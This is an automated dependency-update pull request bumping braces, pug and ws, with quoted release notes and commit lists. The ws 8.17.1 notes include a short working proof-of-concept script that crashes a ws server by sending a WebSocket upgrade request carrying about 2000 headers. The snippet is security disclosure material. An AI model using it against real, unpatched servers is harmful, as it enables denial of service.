Bump the npm_and_yarn group across 1 directory with 3 updates

[dependabot]

Bumps the npm_and_yarn group with 3 updates in the / directory: braces, pug and ws.

Updates braces from 3.0.2 to 3.0.3

Commits

• 74b2db2 3.0.3
• 88f1429 update eslint. lint, fix unit tests.
• 415d660 Snyk js braces 6838727 (#40)
• 190510f fix tests, skip 1 test in test/braces.expand
• 716eb9f readme bump
• a5851e5 Merge pull request #37 from coderaiser/fix/vulnerability
• 2092bd1 feature: braces: add maxSymbols (https://github.com/micromatch/braces/issues/...
• 9f5b4cf fix: vulnerability (https://security.snyk.io/vuln/SNYK-JS-BRACES-6838727)
• 98414f9 remove funding file
• 665ab5d update keepEscaping doc (#27)
• Additional commits viewable in compare view

Updates pug from 3.0.2 to 3.0.3

Release notes

Sourced from pug's releases.

[email protected]

Bug Fixes

• Validate templateName and globals are valid JavaScript identifiers to prevent possible remote code execution if un-trusted user input is passed to the compilation options (#3438)

[email protected]

Bug Fixes

• Update pug-code-gen with the following fix: (#3438)

  Validate templateName and globals are valid JavaScript identifiers to prevent possible remote code execution if un-trusted user input is passed to the compilation options

Commits

• 32acfe8 fix: ensure template names are valid identifiers (#3438)
• 4767caf refactor: convert pug-error to TypeScript (#3355)
• a724446 chore: update character-parser (#3354)
• 6cca8f7 docs: fix GitHub format in README (#3335)
• See full diff in compare view

Updates ws from 8.13.0 to 8.18.0

Release notes

Sourced from ws's releases.

8.18.0

Features

• Added support for Blob (#2229).

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

... (truncated)

Commits

• 976c53c [dist] 8.18.0
• 59b9629 [feature] Add support for Blob (#2229)
• 0d1b5e6 [security] Use more descriptive text for 2017 vulnerability link
• 15f11a0 [security] Add new DoS vulnerability to SECURITY.md
• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• Additional commits viewable in compare view

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